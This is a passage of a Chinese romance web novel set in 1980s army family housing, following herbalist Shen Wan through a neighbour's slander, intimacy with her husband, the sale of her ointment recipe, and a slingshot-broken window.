她迫不及待地拉着王强军的手往自己身上摸，王强军的手掌摸到了一圈软绵绵的赘肉。 他皱了皱眉，又闻到李丽嘴里散发出的浓重大蒜味，顿时兴致全无。 "算了吧，"他抽回手，背过身去，"今天累得很。" 李丽气得捶了他一拳："你什么意思？嫌弃我是不是？我告诉你王强军，要不是你妈天天催着要我再生一个，我至于这么着急吗？" 王强军被吵得头疼，干脆用被子蒙住头："行了行了，明天再说。" 黑暗中，李丽瞪着丈夫的背影，越想越气，最后实在忍不住，一口咬在王强军胳膊上。 "哎哟！死婆娘，你疯了？"王强军痛得掀开被子。 李丽冷哼一声："我就是要你也难受难受！" 王强军彻底火了："你有时间光知道说别人家闲话，怎么不知道捯饬捯饬自己？你看看你这头发，都几天没洗了？还有这脸，黄得跟老菜帮子似的！" 他越说越起劲：“你再看看对面的沈同志，人家不仅长得水灵，还会捯饬自己，你和人家多学学，少给我惹麻烦。” 李丽瞪大双眼，声音陡然拔高："好啊！我就说你怎么对我这么冷淡，原来是看上那个小贱人了！" 她抄起枕头就往王强军身上砸，"王强军你个没良心的！我伺候你吃伺候你穿，你倒惦记上别人媳妇了！" 王强军一把抓住枕头，恼羞成怒："你胡说什么！我就是让你学着点人家。" "学她？"李丽尖声打断，"学她怎么勾引别人男人吗？我呸！" 两人吵得不可开交。 第二天一早，王强军顶着一脸的抓痕从屋里出来，正好撞见出来上厕所的沈晚。 沈晚看呆了，指了指他的脸："王大哥，你这脸...？" 王强军尴尬地别过脸："天黑上茅厕摔了，没事。" 沈晚将信将疑地点点头："我那有自己做的药膏，你要不要拿点涂涂？" 王强军勉强笑笑："不用了，沈同志。" 两人说话的这一幕，恰好被李丽看在眼里，她牙齿咬得咯咯作响，好一对狗男女！大清早就在她家门口勾勾搭搭！ 她端起昨晚的洗脚水，一脚踹开房门就往外冲，双眼通红，嘴里骂骂咧咧："臭不要脸的狐狸精！" 李丽说着就要往沈晚身上泼去，所幸沈晚反应快，一个侧身直接躲开了。 王强军背对着自家媳妇，完全没反应过来，被浇了个透心凉。 他抹了把脸上的水，不可置信地瞪着李丽："李丽！你疯了？！" 李丽这会儿已经彻底上头了，不管不顾地尖叫："我就是疯了！被你们这对狗男女逼疯的！大早上就勾引别人男人，你要不要脸？！" 周围的邻居听到动静，纷纷探头张望，沈晚冷下脸来："李丽，你说话注意点，我什么时候勾引你男人了？" 第五十八章 你是什么人我最清楚了 "你别以为我不知道！就仗着有张狐狸精似的脸蛋，到处勾引男人，是个男人你都不放过！小贱人你可真不要脸！" 她的话越说越难听，连王强军都听不下去了，一把拽住她的胳膊："李丽！你胡说八道什么！我和沈同志清清白白的，你少在这血口喷人！" 李丽闻言冷笑："还说没关系呢，这都护上了！" 她一屁股坐在地上，拍着大腿开始撒泼："大家快来看啊，沈晚勾引我男人，还联合起来欺负我啊！" 周围的邻居越聚越多，对着这一幕指指点点。 沈晚深吸一口气，强压着怒火："李丽，我最后警告你一次，造谣诽谤是要负法律责任的。" "法律责任？"李丽尖声大笑，"你去告啊！让大家都看看你这个不要脸的贱货！" 王强军看着在地上撒泼打滚的李丽，太阳穴突突直跳，拳头攥得咯咯作响，他恨不得冲上去给这泼妇两巴掌，可理智还是让他强忍住了。 王浩也从屋里跑了出来，他当然和自己母亲站在一边，李丽哭，他也跟着哭：“妈！” 李丽一把搂住儿子，鼻涕眼泪糊了一脸："浩子，妈没用，留不住你爸的心啊。" “妈！你别哭了，”王浩看向沈晚，“坏女人，你不许欺负我妈！” 王强军低声怒吼：“你当着孩子的面乱说什么？” 赵晓燕听见动静，快步走出来："李丽，你这大清早的闹什么闹？人家小晚妹子清清白白一个人，被你这样污蔑，你良心让狗吃了？" 同为女人，赵晓燕实在想不通李丽为什么这么针对沈晚，还造这种无中生有的谣言。 李丽油盐不进：“赵晓燕，你这个下不出蛋的老母鸡，帮狐狸精说话你也不是什么好东西。” 赵晓燕气得肚子一抽，要不是顾及肚子里的孩子，她早就冲上去干了。 就在这时，一道冷冽的声音从人群外传来："怎么回事？" 众人回头，只见霍沉舟不知道什么时候站在那里，面色阴沉得可怕，他刚毅的面容不怒自威，周围的议论声瞬间低了下去。 李丽逮住机会告状："霍团长，你媳妇勾引我家男人！大清早就堵在门口眉来眼去的，还假惺惺要送什么药膏！这已经不是第一次了，整个家属院谁不知道她什么德行。" 赵晓燕怕霍沉舟误会沈晚，连忙解释："霍团长，你可不能听李丽的一面之词，妹子不是那样的人。" 霍沉舟冷眼看着地上的李丽："李丽，造谣军属是要上军事法庭的，你确定还要继续污蔑？" 李丽欺软怕硬，面对霍沉舟的威胁，她眼珠子转了转，不敢说话了。 王强军羞愧得无地自容，恨不得找个地缝钻进去："霍团长，让你看笑话了，我这就带她回去。" 他一把拽起瘫软的李丽，几乎是拖着她往家走。 霍沉舟当着所有人的面护着沈晚，这无疑是向整个家属院宣告，沈晚是他妻子，谁也别想欺负她。 他轻轻牵起沈晚的手："回家。" 沈晚感受着霍沉舟掌心的温度，心里涌起一股暖流。 沈晚捏了捏男人的手心，轻声问道："你为什么那么相信我？就不怕我真做了什么？" 霍沉舟脚步一顿，深邃的目光落在她脸上：“你是什么人我最清楚了，只有无能的男人才会随便相信外人的挑拨。” 在这个普遍封建的年代，霍沉舟的思想高度绝对是领先大多数男人的。 沈晚看着男人锋利的下颌线，突然有种吻上去的冲动。 她这么想，也这么干了。 踮起脚尖，沈晚"啵唧"一口亲在霍沉舟的侧脸上："霍沉舟，你真男人！" 这可还没进家门呢，把几个年轻的小媳妇看的脸都红了。 这沈晚，也太大胆了。 霍沉舟先是一愣，他下意识摸了摸被亲的地方，那里还残留着柔软的触感，随即嘴角扬起一抹弧度。 一早上，霍沉舟看向沈晚的眼神都带着灼热的温度，好不容易等到霍小川上学去了，他立刻把沈晚拦腰抱起。 "霍沉舟！"沈晚瞪大眼睛，又怕伤到他的腿不敢挣扎，"你的腿还没好全呢，快放我下来！" 霍沉舟挑眉："谁让你昨天和赵嫂说我不行的？" 沈晚气结："我那是说你腿不好！你怎么曲解我的......" 话未说完，唇瓣就被男人强势封住。 霍沉舟抱着她大步走进卧室，轻轻放在炕上，结实的身躯随即覆了上来。 沈晚被他吻得晕头转向，只觉得那只作乱的大手越来越过分...... 沈晚的嘴好不容易得到解放，她猛地推开男人："我和董院长约好了，今天要去找他，你放开我。" 霍沉舟充耳不闻："让他等一会。" "唔……"沈晚浑身一颤，还想再说什么，却被他一个翻身压在身下。 "霍沉舟！"沈晚又羞又急，"现在是白天。" 霍沉舟低沉的声音带着不容拒绝的强势，"专心点。" 等霍沉舟终于餍足地放开她时，沈晚已经没力气了，她眼尾泛红，唇瓣微肿，原本整齐的长发散乱地铺在炕上，一副被欺负狠了的模样。 "混蛋！"她气恼地瞪了霍沉舟一眼，却连骂人的声音都软绵绵的没有力气。 想到刚才霍沉舟拿着她的手做了什么，沈晚简直没有脸再直视他了。 霍沉舟低笑着帮她穿好衣服，又体贴地拿来热毛巾给她擦脸："我送你去医院？" 沈晚羞恼地拍开他的手："滚开，不用！" 霍沉舟也不恼，反而被她这副羞恼的模样逗得想笑。 他俯身低声道："那我在家乖乖等你。" 沈晚瞪他：“你不许再提今天的事！” "好，不提。"霍沉舟从善如流地应着，他转身从桌上拿起木梳，"头发都乱了，我帮你梳好。" 沈晚怕男人会弄疼他，刚想拒绝，却感觉梳齿已经轻柔地穿过她的发丝。 霍沉舟的动作很小心，估计也是第一次干这种事，动作生疏仔细，从发根开始一点点往下梳理。 第五十九章 护士顶罪？药方被收购 沈晚和赵晓燕汇合的时候，脸颊还泛着不自然的红晕，连耳根都透着粉。 赵晓燕一眼就看出不对劲，促狭地用手肘捅了捅她："哎哟，这可是大白天哦，霍团长就忍耐不住了？" 沈晚想到刚才霍沉舟情动时的模样，眉眼间不自觉流露出几分羞涩："赵姐，你别拿我说笑了。" 赵晓燕见她这副模样，心里也为小两口关系好转而高兴。 突然，她想起什么似的提醒沈晚："对了，霍团长之前提交的离婚申请，要是还不撤回，怕是要批下来了。" 沈晚闻言一愣，秀气的眉毛微微蹙起。 她这才想起还有这档子事，当初霍沉舟可是铁了心要离婚的，虽然现在两人关系缓和了不少，但是那个离婚申请可是实实在在还存在的。 沈晚的心情突然郁闷了许多，霍沉舟是忘了这茬，还是根本就没打算撤回呢？ 如果不打算撤回，为什么要对她做这些容易让人误会的事情？ 赵晓燕见沈晚出神，暗暗责怪自己哪壶不开提哪壶，连忙转移话题："妹子，你说我怀的是姑娘还是小子？" 沈晚回过神来笑了笑："从脉象看，脉象滑而有力，像是男胎。不过现在月份太小，还不能完全确定。张大哥怎么不陪你一起来？" 赵晓燕摆摆手："他们营里突然有紧急任务，一早就出发了。军人就是这样，军令如山。不过有妹子你陪着，老张也放心，就是麻烦你了。" 沈晚摇摇头："不麻烦，正好我也要去医院找董院长。" 她扶着赵晓燕慢慢往医院走。 她们刚离开大院，李丽就红着眼睛来找苏琴杉了。 早上的闹剧苏琴杉怎么可能没看见，此刻看着哭哭啼啼的李丽，眼底闪过一丝不耐。 "嫂子，你别哭了，"苏琴杉假意安慰道，"你就算哭瞎了眼，王大哥也不会回心转意的。" 李丽用袖子抹着眼泪："那我该怎么办？沈晚那个狐狸精仗着自己长得好看，把老王的心都给勾走了！昨晚上他还说让我跟沈晚学学，我学什么？学她怎么勾搭男人吗？" 苏琴杉眼珠一转，意味深长道："嫂子，我刚才看见赵晓燕和沈晚往医院去了。你不是说沈晚一直在帮赵晓燕调理身子要孩子吗？你说赵晓燕不会真的怀上了吧？" 李丽的哭声戛然而止，脸色变了又变："不可能！赵晓燕这么多年都没动静。" "万一呢？"苏琴杉添油加醋，"要是真怀上了，以后赵晓燕还不得嘲笑死你？" 李丽手指不自觉地捏紧了衣角，这些年赵晓燕处处压她一头，自家男人也比张德志落后一大截，唯一能让她找回点面子的，就是赵晓燕这么多年都没能怀上孩子。 要是赵晓燕真怀孕了，还不得骑到她头上耀武扬威？ 李丽眼前一阵发黑，仿佛已经看到赵晓燕挺着肚子在家属院得意的样子，看到那些平日里跟她一起嚼舌根的军嫂们围着赵晓燕献殷勤，看到自己沦为整个家属院的笑柄…… …… 沈晚陪着赵晓燕来到医院的妇产科。八十年代的医疗条件有限，妇产科检查远没有后世那么先进。 医生先让赵晓燕躺在床上，用听诊器听胎心，又让她去验尿——这时候还没有早孕试纸，只能靠尿检中的HCG指标来判断是否怀孕。 等待化验结果的间隙，赵晓燕让沈晚去忙吧，不用陪她了。 沈晚本来还有点不放心，但赵晓燕一直说自己又不是小孩子，不用她守着自己。 想着董建林的办公室就在楼上，她便说：“行，那你等我会，我快去快回。” 沈晚快步走出诊室，沿着楼梯往上走。 一路上，医院的工作人员都笑着和她打招呼：“沈同志来啦！” 和上次她来医院的态度截然不同。 到了董建林办公室门口，她抬手轻轻敲了敲门。 “进。”里面传出董建林沉稳的声音。 沈晚推门而入，董建林正低头翻看文件，抬头见是她来了，立刻站了起来，脸上露出喜色：“沈同志，你来了。” 沈晚点点头："院长，你找我来，是已经查清谁故意往我药膏里加硫磺了？" 董建林神情讪讪地搓了搓手："查是查了，有个新来的实习护士主动承认了，说是配药时不小心拿错了药膏，往里面加了硫磺粉，院方已经给了她记过处分，调离了配药岗位。" 沈晚冷笑一声："这么巧？这都能拿错？" 董建林有点尴尬："现在没有确凿证据，也只能这样处理了。" 其实两人心中都心知肚明，这个实习护士不过是顶罪的。 沈晚抿了抿唇，这个年代没有监控，她确实拿林怡宁没办法。 董建林见状，赶紧转移话题："对了，经过这次事件，院方对你的药膏效果很认可。我们想正式采购你的冻疮膏配方。" 他翻开桌上的文件，"按照正规流程，我们准备以四百元的价格买断这个方子，你看这个价格接受吗？" 沈晚闻言，唇角微微扬起，眼底闪过一丝狡黠："四百元？董院长，您这价格有点太低了吧，我这独家炮制工艺，一副药膏顶得上普通冻疮膏五倍的疗效。" 董建林额头冒出冷汗："那五百？" "六百。"沈晚笑吟吟地竖起两根手指，"外加两个条件——" "第一，药膏包装必须印上''沈氏秘方''字样；第二，我要保留在部队以外销售的权利。" 董建林本来就对沈晚心存愧疚，虽然沈晚提的条件不合规定，但是他咬了咬牙，还是答应了：“行！” 他从抽屉里取出一份盖好公章的文件："这是采购协议，你看看有没有问题？" 沈晚扫了一眼，确定没问题后，便签下了自己的名字。 从董建林办公室出来后，林怡宁抬着下巴，踩着锃亮的小皮鞋，得意洋洋地走了过来。 “早就说了，你是斗不过我的，就算你能证明药膏里面被人加了东西又能怎么样？我稍微使点钱，还不是有人乖乖替我顶罪？” 第六十章 沉舟碰你了？ 沈晚慢条斯理地整理了一下衣服："就算你找人顶罪又能怎么样呢？是谁动的手脚，大家心知肚明，只差捅破那层窗户纸而已。" 她唇角勾起一抹浅笑，"倒是你，医术不精，还见不得别人比你强，整天只会耍这些下作手段——真是可怜又可悲。" 她嘴上说着可怜，眼底却满是讥讽，正好戳中林怡宁最在意的痛处。 林怡宁脸色骤变，扬起手就要给沈晚一巴掌。 就在她抬手的瞬间，突然注意到沈晚微微侧头时，雪白脖颈上露出一处明显的红痕，那分明是个新鲜的吻痕，在衣领间若隐若现。 林怡宁不可置信地瞪大眼睛：“沉舟碰你了？” 沈晚漫不经心地拢了拢头发："怎么，林医生连夫妻这点事都要管？" "怎么可能？"林怡宁整张脸都扭曲起来，"你们不是要离婚了吗？是不是你故意勾引的他？" 不得不说沈晚会扎心的。 她轻笑一声，眼神不屑："那也要他愿意被我勾引啊。不然像林医生这样上赶着献殷勤，霍沉舟连看都懒得看一眼，也没有机会勾引他啊。" 林怡宁浑身发抖，指甲深深掐进掌心："你不要脸！" 沈晚不气不恼，又给她下了一剂狠药，"唉，都说了不要在我脖子上留印子，可是他不听啊，一直缠着我不让走。" 林怡宁如遭雷击，踉跄着后退两步，脸上的血色瞬间褪尽。 霍沉舟在她心里一直都是个清冷自持、不近女色的男人。 而现在，沈晚口中那个会缠着人不放的霍沉舟，与她记忆中那个冷峻疏离的身影完全重叠不起来。 她只觉得天塌了，耳边嗡嗡作响，连沈晚什么时候离开的都没注意到。 沈晚来到楼下的妇产科找赵晓燕，正好她的化验单也出来了。 沈晚接过化验单扫了一眼，HCG数值正常，孕酮水平良好。 赵晓燕紧张的问她："妹子，有什么事没？" 沈晚笑道："很正常，没什么事，你要是不放心，我们再去找医生看看。" 两人来到诊室，医生接过化验单仔细看了看："HCG翻倍很好，孕酮值也达标，胎儿发育很正常。" 赵晓燕还是不放心："医生，那为什么我总觉得肚子偶尔会抽痛？" 医生温和地解释："这是正常的子宫扩张反应。现在胎儿才一个多月大，是从你末次月经第一天开始算的，实际受孕时间可能才两三周。" 说着在病历本上写着医嘱："这段时间要注意多休息，避免剧烈运动，补充叶酸。前三个月要特别注意，有任何出血或者剧烈腹痛要立即来医院。" 赵晓燕连连点头，把病历本收好。 沈晚在一旁补充："赵姐，我回头给你配点温和的安胎茶，平时当水喝就行。" 赵晓燕现在心算是放进肚子里了，一路上都喜气洋洋的，时不时就要摸摸自己平坦的小腹。 本来李丽还不太信赵晓燕真能怀孕，现在看到她从医院回来，还这么高兴，八九不离十真怀孕了。 李丽的脸色比吃了屎还难看。 沈晚回到家，刚关上门，身后突然被一堵温热的人墙抵住。 霍沉舟结实的手臂从背后环住她的腰，下巴抵在她肩膀上，灼热的呼吸喷洒在她耳后："回来了？查出是谁陷害你的了吗？" 沈晚摇摇头："只处罚了一个实习护士，肯定是收钱顶罪的。" 霍沉舟沉默半晌："要不要我帮你去查？" "不用了，我自己能处理。"沈晚靠在他怀里，"药方已经被医院收购了。" 霍沉舟挑眉："多少钱？" "六百。" 霍沉舟低笑一声，胸腔的震动透过后背传来："那你不就变成小富婆了？" 沈晚没吭声。 霍沉舟察觉到她的异样，将她转过来面对自己："怎么了？不高兴？" 沈晚垂下眼睫，她其实还在想离婚申请的事，但是这件事霍沉舟不提，她提反而更别扭。 "没什么，"她避开霍沉舟探究的目光，"我就是有点累了，回屋睡一会。" 霍沉舟也没多想，以为她还在为查不出真凶的事烦心，已经暗自决定要帮她调查了："行，你休息会。" 他低头在她发顶亲了亲。 沈晚回到屋里，躺在炕上翻来覆去睡不着。 听着外面没了动静，估摸霍沉舟应该是去办公室处理文件了，他腿伤恢复得不错，最近已经开始接手一些团里的文书工作。 实在睡不着，她干脆起身从抽屉里取出纸笔，开始给赵晓燕写安胎的药方。 这是她根据赵晓燕的体质特意调配的方子——茯苓三钱、白术二钱、陈皮一钱，再加少许红枣和枸杞，既能健脾安胎，又能缓解孕早期的恶心症状。 院子里大部分移植的药材都顽强地活了下来，只有几株不适应环境的草药没能熬过去，不过那些枯萎的药材也没浪费，都被她晒干研磨成了药粉。 她心里已经盘算着过两天再去一趟山上了。 * 此时的霍沉舟，坐在办公室里看着面前的机密文件，眉头微蹙。 文件显示：近期边境巡逻队多次在长白山一带发现可疑无线电信号，疑似境外势力在测绘我方军事地形。 顾战站在桌前：“团长，要上报军区吗？” 霍沉舟指尖轻叩桌面，沉声道："先加强巡逻，特别是三号哨所那片树林。让通讯连带干扰设备过去，把可疑信号源都屏蔽了。" 顾战点头："明白。"他正要出去，突然一脸揶揄地指了指霍沉舟的嘴角："团长，你这是被嫂子咬了？" 霍沉舟的指尖不自觉抚上唇边，触到那道细小的咬痕，又想起早上沈晚情动时，红着眼角在他唇上留下的这一记。 她那时又羞又恼，偏又躲不开他的攻势，最后只能泄愤似的轻轻咬了他一口。 想到这里，霍沉舟嘴角扬起一抹笑意。 顾战看得直摇头，就团长这幅恋爱中的傻样，打死他也不相信团长还能和嫂子离婚。 霍沉舟回味了一分钟，突然意识到顾战还在，冷冷看他一眼：“你很闲？” 顾战一激灵，赶紧跑了：“我突然想到我还挺忙的。” 第六十一章 窗户碎了 李丽坐在炕沿上，越想越气，她恨不得直接冲过去撕烂沈晚那张勾人的脸！ 王浩坐在旁边安慰她："妈，爸不要你我要你，你别难受了。" 李丽鼻子一酸，把儿子搂进怀里狠狠亲了两口："浩子，妈没白生养你一场！你爸那个没良心的，现在全被那个狐狸精勾走魂了！" "狐狸精！"王浩有样学样地骂道。 李丽瘫在炕上唉声叹气，突然像想到什么，一个鲤鱼打挺坐起来，眼睛直放光："浩子，去把你爸之前给你做的那个枣木弹弓拿出来。" 王浩眨巴着眼睛："妈，爸不是说不让在大院里玩弹弓吗？" "傻儿子！"李丽用食指狠狠戳了戳他的脑门，"妈让你拿你就拿，哪那么多废话！" 王浩只好从炕柜底下翻出那把枣木弹弓，李丽接过来在手里掂了掂，嘴角勾起一抹阴险的笑。 "浩子，去捡几颗石子儿过来。" 王浩虽然不明白妈妈要做什么，但还是乖乖跑到院子里，蹲在地上仔细挑了几颗圆润光滑的小石子。 "妈，给。"他把石子递过去，李丽却摆摆手。 "你来打。"她蹲下身，抓着王浩的手指向沈晚家的玻璃窗，"看见没？就瞄准那个窗户。" 王浩犹豫了："妈，这不好吧？爸爸回来会不会很生气？" "怕什么！"李丽掐了一把儿子的胳膊，"就当是打鸟玩儿。再说了，那狐狸精害得你妈这么惨，给她点教训怎么了？" 她强硬地把弹弓塞进王浩手里，抓着他的手往后拉："对，就这样，瞄准。" 王浩到底是男孩，被李丽这么一怂恿，骨子里那股顽皮劲儿就上来了。 他捡起一颗小石子，拉开弹弓，瞄准沈晚家的窗户—— "啪！" 第一颗石子打在玻璃上，发出清脆的撞击声。 正在整理药材的沈晚手上动作一顿，抬头望向卧室方向，以为是风吹起的砂砾。 "再来！"李丽兴奋地催促道。 王浩又摸出一颗更大的石子，这次使足了力气拉开弹弓—— "哗啦！" 玻璃碎裂的声音格外刺耳，整扇窗户瞬间布满蛛网般的裂纹，几块碎片"叮叮当当"地掉落在窗台上。 沈晚心头猛地一跳，扔下药材就往卧室跑。 等她赶到时，王浩已经被李丽拉着回了屋。 沈晚看着面前一片狼藉，眉心跳了跳。 玻璃碴子散落一地，冷风裹挟着雪花从破碎的窗户呼呼往里灌， 沈晚只能转身先去找来扫帚和硬纸板。 她先用报纸将大块的玻璃碎片仔细包好，又拿湿抹布把窗台缝隙里细小的玻璃渣一点点粘出来。 赵晓燕听见动静赶过来的时候也被吓了一跳："哎哟，这是咋了？" 沈晚无奈地把她刚才捡起来的石子给赵晓燕看："估计是被人拿弹弓打的。" 赵晓燕瞪大眼睛："啊？不会是浩子吧？这李丽也忒不是东西了，净整这些上不了台面的东西。" 她边骂边招呼沈晚停手，"妹子，你先别动，你没有经验，别扎着手。" 话音刚落，沈晚就突然"嘶"了一声，指尖渗出一颗血珠。 "你看你看！"赵晓燕急了，一把拉过她的手，"这玻璃碴子最会藏缝里了，得用胶带粘才行。" 她麻利地从兜里掏出手绢给沈晚包扎。 这一点伤口倒是不太疼，沈晚和赵晓燕一起用胶带把玻璃渣粘干净后，沈晚又量了一下窗户的尺寸，这才要去后勤领玻璃。 刚出门，就碰见了孙秀芝。对方看见破碎的窗户，忍不住惊讶道："沈同志，你家这窗户怎么了？" 沈晚意味深长地看了一眼不远处假装在扫雪的李丽："可能是被什么东西砸了吧。" 李丽冷呵一声："估计是坏事干多了，老天都看不下去了。" 孙秀芝尴尬地搓了搓手，赶紧转移话题："你这是要去后勤部吧？正好我家那口子就在后勤，我带你去。" 闻言，沈晚没有拒绝："多谢嫂子。" 两人往后勤部走时，孙秀芝压低声音道："你别跟李丽一般见识，她那人就那样，嘴坏，其实人还行。" 沈晚笑了笑，没反驳孙秀芝的话。就李丽那样的，嘴坏心肠也坏，哪有什么人还行。 路上，孙秀芝亲热地揽着沈晚的胳膊搭话："我看你和霍团长最近那黏糊劲儿，简直要让人羡慕死了。果然还是年轻好啊，有活力，有激情。" 她说着不自觉地抚上自己眼角的细纹，"不像我，都四十多了，跟我们家老孟现在就跟左手摸右手似的。" 沈晚看着孙秀芝略显黯淡的皮肤和粗糙的双手，微微一笑："嫂子，您这是自然美。我给您配个养颜的方子吧，保管您气色比我还好。" 孙秀芝眼睛一亮，兴致勃勃地拉住沈晚的手："真的？你还会这个？我早就听说你会医术，连董院长都夸你厉害呢！" 沈晚笑道："养颜茶的方子不难，用当归、黄芪补气血，再加点玫瑰花和枸杞，既能调理气色，又能安神。" 没有女人不爱美的，孙秀芝看向沈晚的眼神更热情了："妹子，你可真厉害。听说你还给晓燕看不孕不育呢？怎么样，她肚子现在有反应了吗？" 这是赵晓燕的私事，沈晚自然不能主动在外面宣传。 她神情不变，轻描淡写道："这也得看个人体质，调理需要时间。" 孙秀芝会意地点点头，也不好再追问。 两人说话间，已经到了后勤处。 推门进去，一股机油和木材混合的气味扑面而来，墙上贴满了各类物资清单和值班表。 孙秀芝轻车熟路地带着沈晚穿过走廊，来到最里面的办公室，门都没敲就推门而入："老孟！" 办公室里，一个四十出头、穿着旧军装的男人正伏案写着什么。 听到动静抬起头，方正的脸上露出无奈的笑容："秀芝啊，跟你说多少次了，进来先敲门。" 他鼻梁上架着老花镜，镜片后的眼睛温和有神，桌上摆着个掉了漆的搪瓷缸子，里面泡着浓茶。 "跟你还讲究这些？"孙秀芝笑着拉过沈晚，"沈同志家里窗户玻璃碎了，来领块新的。" 第六十二章 我怕你疼 孟宪抬手扶了扶眼镜："窗户坏了啊，记尺寸了吗？" 沈晚报了个准确的数字："长二尺四，宽一尺八。" 孟宪点点头，低头在纸上刷刷写了几笔，然后撕下单据递过来："你拿着这个去仓库找小章领玻璃，就说是我批的。" 孙秀芝直接伸手接过单子："这事我熟，我带她去。" 沈晚微笑着点点头："谢谢孟大哥。" "不用这么客气哈。"孙秀芝拉着她就往外走，"老孟这人最怕麻烦，你跟他客套他反倒不自在。" 孙秀芝果然对这里很熟悉，带着沈晚穿过几排平房，来到后勤部后面的仓库。 仓库里堆满了各种物资，成摞的玻璃、成捆的铁丝网、码放整齐的木板，角落里还堆着几个崭新的铁皮炉子。 几个穿着军绿色工装的小伙子正在搬运物资，裸露的手臂上都是结实的肌肉。 当沈晚走进仓库时，嘈杂的环境顿时安静下来。 几个正在干活的小伙子都停下了动作，直直地看向沈晚。 沈晚今天穿了上次在百货商店买的驼色大衣，乌黑的长发松松地挽在脑后，在混乱的仓库里，就像一朵突然绽放的栀子花。 "这女同志也太漂亮了，跟仙女似的。"有人小声嘀咕道。 "就是啊，比文工团那些姑娘还好看。"另一个小伙子接话，眼睛都看直了。 孙秀芝叉着腰笑骂一声："都愣着干什么？这可是霍团长的爱人，你们一个个眼珠子都快掉出来了，小心霍团长知道了收拾你们！" 众人闻言顿时噤声，面面相觑——原来这就是霍团长传闻中那个医术高明的媳妇？ 孙秀芝冲角落里一个白白净净的小伙子招了招手："小章，你过来。" 章华夏连忙小跑过来，擦了擦额头的汗："嫂子，找我什么事？" "你挑块最好的玻璃，"孙秀芝把单据塞给他，"给霍团长家送去。记住啊，要挑最透亮的，别拿那些有气泡的糊弄人。" 章华夏连连点头，离近了，他甚至能闻见沈晚身上若有若无的清香，耳朵尖悄悄红了，没忍住又偷瞄了一眼沈晚，被孙秀芝一巴掌拍在背上："还看！跟没见过女同志一样！" 章华夏不好意思地挠挠头，白净的脸涨得通红。 沈晚也被这憨厚的样子逗笑了，唇角微微上扬，杏眼弯成两道月牙，颊边露出个浅浅的梨涡，整个人更加明艳动人。 章华夏一时看呆了，等回过神来，沈晚和孙秀芝已经走远了。 同伴用肩膀撞了撞他："还发呆呢？赶紧给霍团长家送玻璃去！" "好嘞！"章华夏答应了一声，连忙跑去仓库最里侧，挑了块一点杂质都没有的玻璃。 他小心翼翼地用旧报纸包好边角，又找来两根木条钉成"井"字形固定，最后还特意找了块干净棉布把玻璃擦得锃亮。 他推着板车来到家属院，一眼就看见站在院子里的沈晚，连忙小跑过去："沈同志，就是这块窗户吧？" 沈晚点点头："就是这个，您帮我换上吧。" 章华夏不经意间看了一眼地上的碎玻璃，突然"咦"了一声："这玻璃不像是自己坏的啊……" 他捡起一块碎片，指着边缘整齐的放射状裂纹，"倒像是被人拿弹弓打的，您看这受力点。" 沈晚挑眉："你眼力还挺好。" 章华夏一紧张就脸红，挠着头"嘿嘿"笑了两声："我小时候调皮，把人家的窗户打坏，就是这样的。" 他说着麻利地取出工具，先用刮刀把窗框上残留的玻璃碴清理干净，又在凹槽里均匀地抹上一层油灰。 他小心翼翼地把新玻璃嵌进窗框，手指灵活地按压着边缘，确保严丝合缝，最后用三角铲修去多余的油灰：“好了，保证比原来的结实。” 此时对面的李丽看着沈晚找了人来装新玻璃，撇了撇嘴，果然是狐狸精，找个装窗户的工人都找的小白脸。 章华夏装完玻璃就想走，沈晚觉得这大冷天他也不容易，好心招呼他一句："喝杯姜茶暖暖身子再走吧。" 章华夏用袖子擦了擦鼻子，憨厚地笑了笑："不用了沈同志，俺们后勤部还有活要干呢。" 沈晚见状也就不留他了："路上慢点，注意安全。" 刚把章华夏送到家属院门口，冲他摆了摆手，一回头就看见霍沉舟站在吉普车旁。 男人一身笔挺的军装，薄唇抿成一条直线，漆黑的眸子直直地盯着章华夏离去的背影，神情冷冷的。 她走过去，歪头看他："刚回来？" 霍沉舟"嗯"了一声。 "那回家吧。"沈晚转身要走。 霍沉舟抿了抿唇："刚才那个人是谁？" 沈晚奇怪地看他一眼："你看不出来吗？后勤的工人啊，来给咱家换窗户的。" 霍沉舟微微蹙眉："换窗户？" "嗯，"沈晚点点头，"窗户碎了，只能去后勤领了块新玻璃回来。" 霍沉舟这才注意到她指尖缠着的手绢，心头猛地一紧，他一把抓住她的手腕，指腹小心翼翼地摩挲着包扎处：“你手受伤了？” 沈晚被他突如其来的紧张弄得有些好笑："没事，就一个小口子，早就不疼了。" 霍沉舟却解开手绢，看着那道还在渗血的伤口，突然低头将她的指尖含入口中，他的舌尖带着灼热的温度，轻轻卷过她敏感的指尖。 沈晚能清晰地感受到他唇齿间湿润的触感，柔软的舌面若有似无地摩挲着她的伤口，带来一阵阵细微的电流。 沈晚浑身一颤，她瞪大眼睛:"霍沉舟，你在干什么？" 霍沉舟垂着眼睫，浓密的阴影投在高挺的鼻梁上:"我怕你疼，" 沈晚耳尖瞬间烧了起来，指尖传来的酥麻感让她倒吸一口凉气:"哎哟，就这点伤口，马上都结痂了。" 霍沉舟这才抬起头，但大掌依然没有松开她的手，反而轻轻捏了捏她的手心："回家。" 沈晚跟在他身后，两人交握的手随着步伐轻轻晃动。 "窗户怎么突然碎了？" 沈晚如实回答："看起来像是被人拿弹弓打坏的。" 霍沉舟皱眉：“不知道是谁？” 沈晚无奈地耸耸肩：“不确定。” 第六十三章 更年期 回到家后，霍沉舟看着沈晚若有所思的样子：“你脑子里在想什么？” 沈晚抬头冲他笑了笑：“我在想我刚才上厕所有没有洗手。” 霍沉舟：“……” 看着男人无奈的表情，沈晚吐了吐舌头。 霍沉舟看出她是在逗自己，无奈地捏了捏她的鼻子："调皮。" 沈晚挽着他的胳膊，突然想起什么撒娇道："我还想上趟山。" 她本以为霍沉舟会爽快同意，毕竟她采药也不是第一次了。 没想到霍沉舟这次却斩钉截铁地拒绝："不行。" 沈晚皱眉："为什么？我又不是第一次上山了，不会有危险的。" 霍沉舟眼神微闪，涉及军事机密不能透露太多，只能避重就轻：“山上最近不太平，最近巡逻也加强了。” 沈晚聪慧，看着霍沉舟欲言又止的样子，立即猜到了几分。 她抿了抿唇，为了不给部队添麻烦，乖巧地点点头："行，我知道了。" 霍沉舟见她这么懂事，心头一软，将她往怀里带了带："不过董院长那边有好消息。他特别向军区申请，批了块黑土地要开垦药田。" 他低头看着沈晚瞬间亮起来的眼睛，唇角微扬："周首长点名要请你当技术指导，到时候你想种什么药材都行。" 沈晚惊喜地仰头："真的？" "嗯。"霍沉舟揉了揉她的发顶，"就在部队后山那片向阳坡地，安全又方便。这样你既能继续研究药材，我也能放心。" 沈晚心里那点失落顿时烟消云散，她踮起脚尖在霍沉舟下巴上亲了一口。 